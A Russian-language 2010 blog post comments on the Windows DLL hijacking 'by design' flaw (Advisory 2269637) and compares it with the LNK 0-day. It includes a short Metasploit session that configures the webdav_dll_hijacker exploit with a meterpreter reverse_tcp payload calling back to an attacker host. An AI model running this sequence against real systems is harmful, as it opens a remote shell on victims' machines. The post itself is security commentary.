вторник, 24 августа 2010 г.

0-day by design (Security Advisory (2269637))

На прошлой неделе появилась информация о найденной новой концептуальной уязвимости позволяющий выполнить произвольную динамическую библиотеку, путем подмены ее легального экземпляра. Эта информация появилась от автора Metasploit HDmoore и он сразу приводил пример работы этой уязвимости с iTunes. Народ задергался и понял, что пахнет архитектурной брешью, правда все и так о ней знали уже хрен знает сколько времени и чего задергались все только сейчас непонятно (причем даже MS знал уже не один год об этом). Я в нашем посте на хабре достаточно подробно описал саму уязвимость и возможные пути решения проблемы, но некоторые мысли еще остались и для собственного бложика :)
В последнее время мы наблюдаем уже второй 0-day (первый, история с Lnk) с найденной архитектурной ошибкой, by design так сказать. По своей структуре обе эти уязвимости довольно похожи. Такого рода уязвимости закрываются значительно дольше, да и время жизни эксплуатации таких уязвимостей не сравнимо. Не говоря уже о том, что не нужно заморачиваться со всякими DEP и ASLR. А в данном конкретном случае уязвимыми являются достаточно большое количество приложений. Но вот действительно удивляет то, что MS сама не использует свои  best practices при разработке. Уже появился PoC для Word и PowerPoint. Ну, а generic exploit в составе Metasploit вообще шикарен. Пример эксплуатации:

msf use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "txt"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 6666
msf exploit(webdav_dll_hijacker) > set LHOST
msf exploit(webdav_dll_hijacker) > exploit


P.S.: Как оказалось даже существуют научные работы ("Automatic Detection of Vulnerable Dynamic Component Loadings") по поиску решения этой проблемы.